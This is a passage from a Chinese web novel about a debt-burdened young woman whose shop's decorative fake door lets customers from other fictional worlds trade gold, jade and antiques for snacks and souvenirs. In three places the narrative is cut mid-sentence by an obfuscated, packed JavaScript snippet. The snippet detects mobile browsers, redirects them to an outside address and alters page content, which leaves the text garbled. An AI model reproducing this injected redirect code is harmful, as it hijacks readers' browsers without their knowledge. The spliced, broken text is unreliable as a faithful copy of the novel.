《我的店铺通小说》 1. 第 1 章 烈日如火，炙烤着大地。 月牙巷作为南市知名的历史文化街区，即便是潮热的盛夏，游客也络绎不绝。 古朴街巷中店铺林立，吸引往来游客进进出出，唯独临近街头的便利商店冷冷清清。 便利商店装修得古色古香，与整条街区无比和谐融洽，漆黑牌匾上书“不倒闭小卖部”几个字。 “欢迎光临~” 炎热午后，客流量明显提升，看店神器接连发出清脆提示音。 柜台里侧，昏昏欲睡的萧妧妧习惯性起身。 等游客挑挑拣拣，拿来一瓶水结账，萧妧妧走到货架前补充、调整货品，方便下一个客人挑选。 新店才开业，萧妧妧已然预料到未来的日子有多无趣平淡。 可无趣平淡常常与安稳挂钩。 经济萧条的时代，连娱乐圈都不好混，萧妧妧参加过大小十几场试镜，递出去的简历全部石沉大海。 艺术院校表演系毕业，除演技之外再没什么突出技能的萧妧妧，一毕业就面临无戏可演的窘境。 有钱的同学满世界玩，有资源的同学早早进组，有关系的同学端上了金饭碗，三无的萧妧妧想转行却处处碰壁。 考编失败，工作没着落，雄心壮志消磨殆尽，萧妧妧只剩下满心迷茫与不断的自我怀疑。 爸妈知道后没多说，一句“没关系，回来吧”，萧妧妧选择认命，收拾行礼，灰溜溜回到南市，接下祖传小卖部重新装修营业。 小卖部一百平，连通一个七十多平的院子和一百多平的住宅，白天在前面经营小卖部，晚上回到后面住宅独居。 一眼望到头的日子，萧妧妧挺满足。 【尊敬的萧妧妧女士，您的账户XXXX将于……当期还款金额12345.6，请在……】 萧妧妧忙里偷闲刷手机，看到催收短信跃上顶端，眼眸微垂，满足的笑意淡去，苦恼随之而来。 “欢迎光临~” 提示音再次响起，萧妧妧头也没抬的喊了一声“请随意挑选”。 “谁！谁在那里？” 一惊一乍的轻柔女声响起，萧妧妧以为自己吓到客人，牵起僵硬笑容钻出货架。 “新店开业，全场商品满100减……” 门口空无一人，萧妧妧话说到一半戛然而止。 “你这是什么商店？怎么会开在死胡同里？”女人话音急促，惊惶语气夹杂不可置信。 萧妧妧反应过来，说话声是从小卖部后门位置传来。 她转身走几步，一眼看到店铺深处。 小卖部靠近后门位置，竟然冒出一个打扮精致的旗袍美女。 旗袍美女神情戒备，扶着雕花木门摆出要进不进的姿态。 萧妧妧愣了一会，莫名地望着她。 旗袍美女扶着的木门并不是真正的门，而是用来遮挡墙上电表箱安装的假门。 假门和后门相呼应，远看和谐又美观，是萧妧妧最得意的设计。 旗袍美女看上她设计的假门了？ 萧妧妧打量旗袍美女，旗袍美女也警惕地审视这间凭空出现的小卖部。 太古怪了。 店铺整齐干净又宽敞明亮，货品丰富且陌生，她从未在云城见过。 再看货架旁扎着道姑头的年轻女子——狐狸眼明媚夺目，鹅蛋脸精致白皙，身形高挑，深棕色围裙紧紧包裹曼妙动人曲线。 苏娇娇不由恍惚。 她分明是遭人围堵逼进死胡同里，急得团团转时，眼前突然出现一扇散发暖黄光芒的铁门，慌不择路闯了进来。 萧妧妧见她犹如惊弓之鸟，紧抱着怀里形似音响的物件，语气温和搭话。 “您随便逛，需要什么可以跟我说。” 苏娇娇摇头：“不、我不是买东西……” 说到一半，她意识到现在不是闲聊的时候，连忙转身想退出去，可随后的呼喊声吓得她一动不敢动，脸色苍白。 “快，给我仔细搜，死胡同墙高，她跑不掉。” “注意穿旗袍的女人，她肯定是深海。” 萧妧妧揉了揉耳朵，奇怪，她好像听到墙后传来说话声。 隔音有这么差吗？ 视线再回到旗袍美女身上，萧妧妧不禁猜测，难道是遇到变态尾随？ 萧妧妧表情严肃，掏出手机，“小姐姐你需要帮助吗？我可以帮你报警。” 旗袍美女连忙摇头拒绝，语气更惊惶了，“不！不能报警！” 苏娇娇震惊地望着假门外面，又低头看了看自己踩在门槛边缘的双脚。 到底是怎么回事？ 双方之间只有半米距离，可他们却好像瞎子一样，完全看不到她的存在。 萧妧妧看她在门前又是张望又是挥手，奇奇怪怪不知道忙什么，刚要开口关心一下，旗袍美女猛地转身。 “你是Z国人吗？” 萧妧妧懵了一会，老实点头，“我是啊。” 话落，她明显看到旗袍美女松了一口气，迈步跑到柜台前。 “我可以把东西存在你这里吗？过几日再拿回去。” 旗袍美女期待地仰头看过来，萧妧妧垂眸看一眼铁盒子，重新扬起礼貌微笑。 “抱歉，小卖部暂时没有……” “这个是报酬。” “存放业务是有的，不过需要留下女士您的姓名、联系电话以及存取时间。” 旗袍美女摘下手上的素金镯子推过来，萧妧妧立即改口，清晰流畅的播音腔抑扬顿挫。 镯子款式朴素，但胜在是贵金属，她很难不心动。 心动归心动，萧妧妧留了心眼，生怕旗袍美女不干人事，塞什么违禁品进来，不倒闭小卖部怕是真的要倒闭。 苏娇娇回头，雕花门大敞着，外面景象清晰可见。 黑衣黑帽的特工四处搜寻，十七八人来来回回翻了个底朝天，仍旧没能闯进这间古怪的小卖部。 算了，哪怕是鬼店她也要拼一把，东西绝不能落在他们手里。 “我姓苏名傻妞，云城金瓦巷大兴茶馆可以联系到我。不会很久，过两天我就能取走。它很重要，拜托你一定要帮我保管好。” 她郑重其事，像托付自己生命。 萧妧妧胆怯了，后悔了，她不该贪图真假不知、来历不明的金镯子，接下生意。 什么云城，什么金瓦巷，什么大兴茶馆，她一概没听说过。 还有，现在谁会取傻妞当名字？ 旗袍美女肯定是在诓她！ 苏娇娇逃出门时匆忙，只得借店铺里的桌布包裹起它们，再珍而重之的交给萧妧妧。 “拜托了。” 对上旗袍美女近乎乞求的目光，萧妧妧心底触动，鬼使神差地应下。 在她点头的瞬间，旗袍美女展露笑颜，清丽脸蛋格外动人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491426|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她又指了指旁边货架，“那个帽子和……那是披肩吗？多少钱？” 萧妧妧拿起草编遮阳帽，又拿来斗篷款灰色防晒披肩。 “你要这两件？一共85，我扫你。” 苏娇娇不懂什么扫你扫我，听说要85块大洋，差点没骂一句黑店。 “我的翡翠耳坠还值些钱，可以用它们换吗？”她摘下两边耳坠。 萧妧妧皱了皱眉，“本店不接受赊账和以物易物，您可以刷卡付现或者阿里呸。” “我真的很需要它们，等我下次过来一定会给你钱的。” 急匆匆解释一句，翡翠耳坠强行拍在柜台上。 情况危急，苏娇娇戴上帽子，灰色斗篷防晒披肩裹在身上，简单伪装一下，浅金色的旗袍瞬间敛去光芒。 搜捕的特工渐渐摸向别处，她要趁机赶回去通风报信。 “等等，耳坠还你……不是，美女，门在那……” 苏娇娇狠心离去，决绝的身影迸发出勇往无前的气势，萧妧妧伸手阻拦，却根本来不及，自称叫苏傻妞的旗袍美女直直撞向假门后的墙体。 诡异的是，头破血流的场面并未发生，她竟然穿墙而过！ 妩媚狐狸眼瞪得圆滚滚，在萧妧妧略显惊恐的目光中，雕花木门吱呀一声合上。 萧妧妧追上去，不信邪地拉开木门，上下左右一顿检查。 没错啊，是电表箱，上面有她贴的标签。 合上木门，一秒、三秒、五秒……再次拉开。 还是电表箱。 她尝试着模仿苏傻妞的姿势，缓慢贴近墙体，热烘烘，邦邦硬，确实是一堵墙。 “喂，120吗？我需要一辆救护车，地址在月牙巷188号。 什么病症？出现幻觉了，可能还有幻听。 菌子？我不确定，反正嘴巴没吃到过。” 打完急救电话，萧妧妧打包好外卖塞冰箱，发票装进口袋留存。 事关医药费赔偿，不能马虎。 忙完这一切，萧妧妧要死不活地爬上躺椅，四肢摊平仰望天花板，等待救护车救她狗命。 她还不能死，前期开店的投入得赚回来，小仓库压了价值10万的货要出手，欠父母32万的棺材本得填上。 她要做的事太多了。 救护车来得很快，呜拉拉带走了萧妧妧。 拍片、抽血、化验，甚至在医生的指引下光顾了精神科。 夕阳西下时，萧妧妧拎着一叠检查报告回到不倒闭小卖部。 健康、健康、健康，每一张报告都显示数值正常无问题。 想来想去，只有一种可能…… 天塌了，新开业的小卖部闹鬼了！ 萧妧妧一脸菜色，站在小卖部大门口，望着做旧的新牌匾，进退两难———她怕鬼。 从夕阳西下等到暮色四合，做足心理准备，萧妧妧壮着胆子推门进去。 店里客人三两个，有的挑选冷饮零食，有的见柜台没人，乖觉使用自助付款机。 萧妧妧一步一挪走到后门附近，解开蕾丝桌布，拍照识图辨别老旧物件究竟是什么。 等app搜图的工夫，萧妧妧放空思绪打量它。 这一看，她越发觉得眼熟，惊疑不定中，app刷新图片。 点开相似度最高的图片，萧妧妧看到右上角黑色字体——XX年代军用电台。 2. 第 2 章 好家伙，还是个有年份的鬼。 新店开业，活人的钱没赚到，死鬼的金子赚不少，晦气！ 金手镯和翡翠耳坠排排放摆在玻璃柜台上，萧妧妧不知道拿它们怎么办。 “妧妧，今天有那个什么咖喱猪排便当吗？ 要不说还是你们年轻人会吃会做生意，你妈管着小卖部的时候，可不如你会选品。” 大嗓门一嚎，萧妧妧便知道，邻居方爷爷背着儿子儿媳出门遛弯，顺带解馋。 “有，今天还有冬阴功炒面，方爷爷要不要尝尝？”应了一声，萧妧妧匆忙收起手镯耳坠。 方玉仁便在这时溜溜达达进来，看到一闪而过的翠色，浑浊眼珠一亮，快步走到柜台前。 “丫头，快给我看看。” 老人家七十岁出头，精神比年轻人充沛，看到好物件，脚下生风，伸着脑袋要欣赏。 萧妧妧瞳孔一颤，惊疑不定地转过头，“方爷爷，您能看到它们？” 方玉仁咂嘴，“小丫头说话怪瘆人，我眼睛好好的怎么看不到，快快，拿出来看看，刚刚没瞅清楚。” 萧妧妧是知道方爷爷的，经营一辈子的古玩玉器，眼光毒辣。 她摊开手，递上手镯和耳坠子。 “不错不错，正阳偏浓，款式老了些，不是近几年流行的工艺。” 方玉仁挑起葫芦形翡翠耳坠，口袋里掏出小手电怼上去。 萧妧妧略显诧异，她以为苏傻妞那么爽快的用物件抵押，理所当然的认为耳坠子不值钱，甚至可能是假货。 再看耳坠子，绿得像啤酒瓶子，更假了，哪知道到竟会是真的翡翠耳坠。 “丫头花多少钱买的？” 萧妧妧哪知道多少钱啊，话音含混糊弄，“一个朋友听说我店铺开业，送的开业礼物。” 方玉仁点点头，“开业礼物啊，可以可以，别看它不起眼的样子，小五位数不是问题，二开三开差不多吧，戴着玩玩挺好的。” 五位数，二、三万？ 苏傻妞拿走的两件东西售价才85块！ 这是翻了多少倍啊！ 萧妧妧心脏狂跳，强压下思绪，推去金镯子，“方爷爷，你看这镯子值多少？” “金子我可看不出来真假，”方玉仁接过镯子放在手心，掂量掂量，估算道：“如果是真金子，你按金价算，30克40克的样子，少说有两万吧。” 萧妧妧嚯了一声，小卖部一个月的流水能不能有两万都难说。 “东西好好戴着，别放店里叫人摸走了。” 方玉仁嘱咐一句，溜达着去冷藏区拿便当。 萧妧妧傻愣愣盯着手里物件发呆。 东西是真的，那苏傻妞应该是人吧？ 管她是人是鬼，反正萧妧妧是不敢留在188号过夜。 10点一到，立刻关门，她提心吊胆的回到月牙巷深处的父母家。 另一边，摆脱特务搜捕的苏娇娇同样提心吊胆，脚步匆匆。 她在漆黑小巷里钻来钻去，绕了一大圈确认无人跟踪，最终停在一家亮着灯笼的米铺前。 按照约定，三长两短敲门声后，不多会，中年女人拉开一条门缝。 她张望一圈，拽着苏娇娇进门，“苏同志，电台怎么样了？没落到他们手里吧？” 苏娇娇没敢说鬼店铺的事，只道： “婶子放心，电台被我藏在一个很安全的地方，过两天没人盯梢我就去取回来。千万转告其他同志，不要涉险，那是陷阱。” 中年女人松了一口气，连忙应下。 苏娇娇又问：“婶子，深海同志怎么样？他的腿……” 中年女人引着苏娇娇进了米铺后院，带她到柴房后的隐蔽房间。 简陋木板床上，瘦削男人陷入昏迷，腿上裹了厚厚一层纱布。 “林医生来看过，说是需要磺胺类药物，否则……” 否则什么结果，大家都清楚。 苏娇娇眼神坚定，“婶子放心，我来想办法。我是云城柳家的少夫人，借口做生意弄点磺胺不是难事。” 中年女人闻言喜极而泣，抱着苏娇娇连声说“太好了太好了”。 传递完消息，出了米铺的苏娇娇却一脸愁容。 磺胺受到管控，并非是她能轻易买到的东西。 从前虽然难，但有丈夫在其中周旋，弄来少量磺胺不是问题，可自从丈夫去世，这条线路就硬生生断了。 苏娇娇皱着眉头，正发愁，倏地，她想到了那间鬼店铺。 若是没看错，她似乎在货架上瞧见过纱布酒精等物。 或许可以去那里试试？ 苏娇娇打定主意，重新振作起来，快步离开漆黑小巷。 …… 星月渐渐黯淡，晨光熹微中，月牙巷迎来了新的一天，古朴街巷焕发年轻活力。 巷子深处，挂着“春山居”牌子的小院打开大门，扎着丸子头的萧妧妧大步迈出门槛。 拎着早点路过的街坊邻居纷纷停下脚步，投以错愕的注目。 萧妧妧礼貌微笑，嘴上爷爷奶奶叔叔阿姨喊个不停，实则已经抠出一座四合院。 锁上院门，她埋下脑袋，加快脚步离开。 清晨8点，月牙巷的商铺陆续开门营业，易拉宝搬到门边揽客。 萧妧妧打开小卖部的感应门，拉闸，开灯，开空调。 趁早上游客不多，她跑去后院搬来置物小长桌，盖上黄绸布，摆上木架子。 准备齐全，萧妧妧才摘下背了一路的唐刀，刀身与刀鞘各自摆放到相应位置。 爷爷曾说过，唐刀上过战场见过血，有杀气更有煞气，能镇邪祟。 如果苏傻妞是人自然不怕，是鬼，萧妧妧要重新掂量了。 鬼的钱，有命赚，没命花。 防晒衣口袋塞满了护身符，她一个一个拿出来拍掉灰尘，每一个货架上挂一个。 准备工作到此结束，萧妧妧不伦不类地拜了拜唐刀，又拜了拜招财猫。 她最好是个人，别的不说，和苏傻妞做生意很赚。 又看一眼假门和门后的大白墙，萧妧妧摇摇头离开。 九点过十分，门前柏油马路陆续停了几辆大巴，戴着小黄帽的游客乌泱泱挤在林荫下。 不多会，小黄帽游客成群结队涌进小卖部，买水买饮料买各种杂货，看店神器响个不停。 “这究竟是什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491427|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地方？你又是什么人？竟敢闯进孤的寝宫！” 萧妧妧忙了一阵子，渐渐忘记苏傻妞，就在她以为一切恢复如常的时候，一声斥问突兀响起。 她腾一下站起，环顾店铺一圈，没看到一个客人。 想到什么，她僵硬地转过身，面向后门位置。 一身赭红锦袍，头戴玉冠，腰系金丝带，男人扶着假门，震惊模样和苏傻妞如出一辙。 眼前状况也和昨日如出一辙。 瞄一眼毫无反应的唐刀，萧妧妧收起心中无数吐槽，审视眼前这位疑似从哪个剧组溜出来的男人。 “欢迎光临不倒闭小卖部，客人需要买什么可以跟我说。” 锦袍男人看向奇奇怪怪的萧妧妧。 女人身形娇小纤细，穿着打扮有些奇异，尤其脖子，像个展示架，挂了五六个玉佛坠子，两边胳膊的小臂上套满南红朱砂水晶和桃木串，花里胡哨。 “小卖部？你这里既是商铺为何出在孤的寝宫里？” 萧妧妧哽住，扭头看向门外。 这不好好开在大马路边嘛？听不懂他在说什么。 萧妧妧像机器人一样咧出干巴笑容，对听不懂的内容一概不回应。 锦袍男人试探着走进来，上上下下打量店铺。 陌生、古怪、亮得刺眼、闻所未闻。 半晌，他恍然大悟的点头——孤正巧需要稀奇的物件，转眼连商铺一起出现在寝宫，定是老天派来助孤的。 萧妧妧不知道他悟了什么，眨巴眼睛保持沉默。 “好锋锐的刀，孤竟然不曾见过……姑娘，这刀你可愿卖？多少金你说了算。” 深入店铺，路过小长桌，龙傲天越看架子上的唐刀越惊喜。 特意带来辟邪的唐刀反落入“邪祟”手中，挽出漂亮刀花，萧妧妧阻拦不及，破防的同时隐隐松了一口气。 “不卖，刀是我爷爷传下来的，非卖品。” 唐刀是爷爷的宝贝，她爸妈知道非打断她的腿不可。 “很好，敢拒绝孤，你……” 话说到一半，龙傲天倏然间凝向柜台后的架子，黝黑眼眸满是惊艳之色。 “姑娘，这琉璃你总该愿意卖吧？” 琉璃？什么玩意？ 萧妧妧懵逼回头，在刨花板架子上来回扫视。 “你说它？” 琉璃博物馆出品的同款文创商品，鲤鱼跃龙门琉璃摆件，原先摆在老妈店里当装饰，店铺装修好后又搬了回来。 萧妧妧嫌弃它易碎不安全，还有亿点点土气，几次想带回家，后来听老妈说招财，她不情不愿留下它。 踮起脚搬下摆件，推给锦袍男人近距离观赏。 “暴殄天物！多精致剔透的好东西，你看，落灰了！” 萧妧妧尴尬地挠挠头。 “就它吧，孤要了，姑娘你开个价，若是不够待孤回去取银票。” 萧妧妧一顿，冷脸拒绝，“五十，本店不收银票。” 五十两金子换一个精巧的琉璃摆件，意外的便宜，不收银票却有些奇怪。 “行，我要了，帮我包起来吧。” 没再计较银票的事，龙傲天颔首，爽快下单。 3. 第 3 章 “事先说好，货物既出概不退换。” 难得遇到乾隆式审美的客人，萧妧妧怕他反悔，加重语气强调提醒。 “铺子不大，规矩倒是挺霸道。” 嘟囔一声，他摘下手上玉扳指，略显窘迫的开口，“你且收着，孤在禁足中，除了送膳任何东西不能进寝宫，金银之物在库房里……总之，缺多少下回补给你。” 萧妧妧闻言瞥一眼玉扳指。 经历过苏傻妞一事，她倒是不抗拒以物易物，不过她的鉴赏水平还不足以分辨玉的品种。 萧妧妧试图评估玉扳指的价值，锦袍男人左顾右盼，好奇盯着柜台上的货品。 目光落在某一处上，他半侧过身靠近些，鼻头耸动，轻嗅几下。 “这是何物？”锦袍男人忽然指向柜台。 萧妧妧顺着手指方向看去。 烤肠机亮着暖黄灯光，不锈钢加热管匀速旋转，充分展示焦香冒油的无骨泥烤肠，诱惑每一个饥肠辘辘的人。 再看面前的男人，双眼直直盯着烤肠，喉结上下滚动。 仔细听，有咕噜噜的声音。 她了然，憋住笑意夹起一根烤肠串上竹签，递去。 “无骨泥烤肠，一根5块。” 龙傲天没注意她说了什么，接过烤肠，一口咬下，双眸随之晶亮。 哪怕汁水在口腔里爆开，烫得他龇牙咧嘴也没舍得吐出来，嚼嚼嚼，咕嘟一口吞下去。 “再来一根！” 萧妧妧一动不动，眨巴眼睛望着他，暗示意味十足。 龙傲天歪头回望，眼神清澈无辜，看不懂她的暗示。 萧妧妧伸出三根手指，揉搓。 龙傲天老脸一红，双手在身上翻来找去，拽下腰间荷包扒拉一通，掏出精致的梅花造型银锭。 “喏，这一锭够买两根了。” 萧妧妧没接，偷摸拿出手机查过银价后，努力维持住冷淡表情，飞速串了一根烤肠递过去。 看锦袍男人吃得五官乱飞，她赶紧背过身翻找冰柜。 好不容易从犄角旮旯里拎出半袋子烤肠，萧妧妧抖了抖，轻飘飘的，顿时懊悔不已。 新店开业，上门的客人不多，大部分烤肠都进了她的肚子，错失一个亿！ 目光在柜台附近睃巡一阵，她又夹出仅剩的四根鸡肉串，面带微笑，双手奉上。 “两块五一个，你尝尝，不比烤肠味道差。” 一根肉串将近三两银，着实贵得离谱。 但是讨价还价有失身份。 龙傲天冲着诱人香气和浓郁酱汁，将信将疑的选择接下它们，掏出最后一粒梅花银锭拍在柜台上。 萧妧妧再也克制不住，嘴角咧到后脑勺。 要不是锦袍男人还在，她恨不得拿起银锭塞嘴里咬一口。 “太子殿下，老奴给您送夜宵来啦。” “殿下便是生气也不该糟蹋身体，午膳晚膳都不曾用一口，饿坏身子可怎么办，殿下……” 恰在这时，墙后传来老太监的喊声，龙傲天神情一凛。 “多谢姑娘，孤还有事，下回定把欠你的补上。” 匆匆抱起他心爱的琉璃摆件，龙傲天撩起衣袍，转身离开。 萧妧妧失望地撇下嘴角，放弃推销关东煮的念头。 “欢迎下次光临。” 像是验证什么，她直勾勾盯着锦袍男人。 只见他和苏傻妞一样，拉开置景假门，迈开步子。 先是腿，再是身子，最后连衣角一并消失在墙体里，然后又是一堵干净大白墙。 果然不是她的幻觉！ 既然他们不是鬼，也不是她的眼睛出现问题，难不成是假门连接了什么异时空？就像小说里写的那样。 看今天的锦袍男人和昨天的旗袍美女，从气质到长相再到打扮，明显能分辨出他们不是一个时代的人。 萧妧妧越想越觉得自己看破了真相，捏着下巴连连点头。 可惜她找不到办法确认，只能等下一个古怪客人上门的时候多试探试探。 有了决断，萧妧妧放松不少，攥紧玉扳指，心急火燎的出门。 先去找方爷爷帮忙，看看这玉扳指到底值不值钱。 …………………… 月牙巷180号，玉仁斋。 “真不错，玉是好玉，最出彩的是雕工。” “丫头别急，我再看一会啊……”方爷爷拿来小灯，对着玉扳指一通照，“看见没？无杂无裂无缺陷，光洁，漂亮！” 萧妧妧听得稀里糊涂，急切追问，“方爷爷，你还没说到底是什么玉呢？” “爸，你说的那些沅沅听不懂，”方南山转头看萧妧妧，笑着解释，“我爸看入迷了，就这样。 你这玉扳指是青白玉，你也听到了，雕工颇有大师风范，只不过看不出出自哪位老师之手，暂时也看不出明确的年代。 但是啊，是好东西。” 萧妧妧心头一跳，方叔叔和方爷爷都说是好东西，那…… “方爷爷，您说，我要是把它卖出去，开多少合适？” 方爷爷又看了一会，不确定的说：“我建议是不低于7万块。” “……您说的是人民币吧？”萧妧妧吞了吞口水。 方爷爷嘿了一声，“你还想赚外汇啊？” 铛的一下，大脑好似受到冲击，短暂出现轻微眩晕。 7万…… 满打满算五十块买来的文创商品，转头卖出去换到了价值7万块的玉扳指。 听那个锦袍男人的口风，似乎还要给她补点钱。 暴利啊！ “谢谢方爷爷，这个月的咖喱猪排饭我请了。” 萧妧妧喜不自禁，高声喊一句，抓起玉扳指跑回小卖部。 方玉仁吓得一抖，看萧妧妧飞快倒腾两条腿，哼笑一声。 “小丫头风风火火的，和她妈一个样。” 一溜烟跑回不倒闭小卖部，萧妧妧挂上自助付款引导标识，带上金镯子和银锭再次出门。 附近有一家融通金。 开户、验纯度、测重，一通折腾，证实了金镯子是真的，只是纯度稍微差点。 一共32克，和方爷爷预估的差不多，卖了20160元。 梅花银锭同样是真的，纯度和金镯子相比差不少，前后差了18克，换来4656元。 眨眼工夫进账2.4万，萧妧妧捧着票据发呆，填写资料时手直颤。 金子银子竟然都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491428|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是真的，而且还成功兑来了现金。 这笔钱赚得莫名其妙，但是，真爽！ 再和锦袍男人交易几次，她不就是小富婆了？ 萧妧妧飘飘忽忽的回到小卖部，目光不由对准玉扳指。 方爷爷的古玩行有寄卖服务，或许…… 【叮~恭喜萧妧妧女士成功接待两位异世界交易对象，获得五星好评*2】 【恭喜您顺利完成新手引导任务，经总系统审核，您成功获得入驻资格】 【萧妧妧女士，您是否愿意加入小世界交易系统？】 啥玩意？ 萧妧妧顿住脚步，茫然环顾四周。 【倒计时结束，您未做出选择，系统默认开启】 【欢迎萧妧妧女士入驻小世界交易系统】 【您在交易中累计售出五件商品，成功解锁一级功能，是否开启系统仓库？】 机械提示音再次响起，这回，萧妧妧终于看见面前犹如游戏面板一样的东西。 卧槽，金手指？ 还是专业对口的金手指？ 萧妧妧有种不真实的梦幻感，掐一把脸蛋，疼得直吸气，随即恍然。 难怪接连冒出两个走后门的奇怪客人，原来是她的小卖部绑定了系统。 她在稀里糊涂间接待了两个异世界客人，又稀里糊涂的完成了两次交易。 而以后，她还会接待更多小世界的顾客。 那不就意味着她能赚到更多的钱？ 想到龙傲天和苏娇娇，强烈的幸福感包裹住她。 萧妧妧为了开小卖部，装修进货借了父母32万，又借了银行22万，年纪轻轻负债累累，还不知道哪年哪月能赚到钱还上，毕竟赚钱是个技术活。 但是现在不一样，她是有系统当金手指的人。 强迫自己冷静下来后，萧妧妧认真探索她的金手指。 系统可以升级，她目前处在1级阶段，提供基础的存储功能。 想到系统提示，萧妧妧猜测，如果想接着升级，大概率和商品交易数量脱不开关系。 就是不知道下一级是需要出售100件还是1000件甚至更多的商品。 找到仓库选项，一点开，萧妧妧呆住。 和她以为的仓库不太一样，四四方方的界面，看起来更像是网游中的背包功能。 每一格可放一类物品，一级仓库有99格储物格，每一格的收纳上限是99个。 99格，每格99个，等于是可以存放9901件物品！ 后院的小仓库堆满存货，萧妧妧正愁没地方用，系统仓库的出现帮上大忙了。 萧妧妧激动片刻，淡定的接受了系统的存在。 她淡定的点了是，开启系统仓库，又淡定的收起辟邪唐刀，摘掉手串护身符和挂坠。 直到她淡定的琢磨系统功能，看见接待客户列表。 “苏娇娇女士，身份卡：民国贵妇，来自《谍影》，优质指数三颗星。 龙傲天先生，身份卡：废弃太子，来自……” 列表备注如此赤裸，读到一半，萧妧妧当即傻眼。 她就知道，苏傻妞果然不是旗袍美女的真名。 但……这不是她刚看过的小说吗？ 4. 第 4 章 有点奇怪，有点微妙。 前些日子还在熬夜追他们的故事，没几天一个个水灵灵出现在她面前。 萧妧妧别扭了一会，跑去后门小圆桌，抱起电台藏在柜台下面。 难怪苏娇娇恨不得拿命换电台的模样，这可是真电台，事关无数人命。 萧妧妧想找到前些天看过的小说继续看下去，可怎么找，阅读记录根本找不到这几本书。 “奇怪……早知道不弃文了。” app翻了个遍，萧妧妧不得不放弃。 考编失败找工作的那半年，萧妧妧抱着手机躺在床上刷招聘软件，刷不出满意岗位就打开小说app。 循环往复，面试通知没收到，小说倒是装了一脑袋，有看完的，更多是看到一半弃文。 好巧不巧，苏娇娇和龙傲天正出自她弃文的书里，看剧透评论，下场都不太好。 先说苏娇娇，和丈夫一起投身革命，一直谨言慎行没出过错，甚至立下不少功劳。 直到遇见主角，夫妻俩为保护主角先后丧命，不菲身家全部落入敌人手中，自己落得横尸荒野的结局。 另一个虽叫龙傲天，却是实打实的炮灰，兢兢业业当了十来年太子，到头来得知自己是主角的挡箭牌，最后遭人陷害输了战役，贬为庶民，惨死破庙中。 回想苏娇娇的故事，萧妧妧唏嘘了一会。 回想龙傲天的经历，萧妧妧直叹气。 找不到工作好像也没那么惨。 萧妧妧感叹他们的人生际遇，瞄到抽屉里的翠色，莫名笑了。 一个是大家闺秀，嫁入当地名门望族，虽然丈夫早逝，但吃穿不愁，钱更是不曾短缺。 一个是国之储君，有强大母族撑腰，即便不得宠，身家也是她想象不到的。 再回想自己的人生，一个穷字贯穿始终，好不容易找到生活方向，负了。 她哪来的勇气可怜别人？ 腹诽几句，萧妧妧当即振奋起来。 平日里逢庙必拜财神，这回得老天奶垂怜，让她遇上活财神，必须把握住机会！ 关掉客户列表，萧妧妧躲进柜台后面，选品、下单。 投其所好，萧妧妧打算多买一些精致独特的文创琉璃摆件，不信迷不死龙傲天。 烤肠可以多准备点，精准狙击顾客的胃。 至于苏娇娇，她一没看过剧情，帮不上忙，二是顾忌故事背景特殊，容易弄巧成拙。 萧妧妧思索一会，决定先搁置，等弄清楚苏娇娇的现状再做准备。 按照拟定好的清单采购，片刻工夫，刚到手的两万流水一样花出去一半。 剩下的一半拿去还银行贷款，卡里余额她根本不敢看。 萧妧妧犹豫一会，下定决心寄卖玉扳指，解决燃眉之急。 再次光顾方爷爷的玉仁斋，萧妧妧熟门熟路。 进了铺子看到方叔叔在待客，她颔首和方南山打招呼，脚步轻巧的进去，找方爷爷。 “寄卖？” 方玉仁躺在摇椅上，摇头晃脑跟唱，转头瞥到萧妧妧一脸憨笑的守在旁边，吓得一哆嗦，喝一口茶压压惊，随后才问她怎么又回来了。 萧妧妧直截了当，开门见山，捧着玉扳指送过去，说出来意。 方玉仁惊讶过后，抬眼紧盯萧妧妧。 “丫头，你老实告诉爷爷，东西哪来的？你爸妈同意吗？” 萧妧妧哭笑不得，方爷爷当她是偷家里钱出来买糖吃的孩子呢。 “方爷爷，玉扳指是我在京城买的，和我爸妈没关系，回南市前去潘家园买纪念品，刚好就看上它了。” 萧妧妧对自己的演技很有信心，尤其在她理直气壮心不虚的时候。 方玉仁果真没看出异样。 “你这丫头，还真让你捡漏了。 我这么多年总共就没见过几个人有你运气好的。 说说看，多少钱买的？” 方玉仁听闻玉扳指的来历，明显兴致浓烈。 萧妧妧嘿嘿笑，竖起五根手指，“五十块。” 方玉仁连声夸赞她有福气。 正说着话，方玉仁准备招呼儿子过来登记一下，扭头看到柜台前和儿子热聊的西装男人，老爷子忽的笑了。 “来得早不如来得巧，丫头，寄卖有得等，我给你的玉扳指找一个不用等的好去处。” 还有这好事？ 萧妧妧扑闪着明媚大眼睛。 方玉仁领着她上前，仔细介绍。 “你不干我们这行，没接触过他，看到穿西装的那个人没有？ 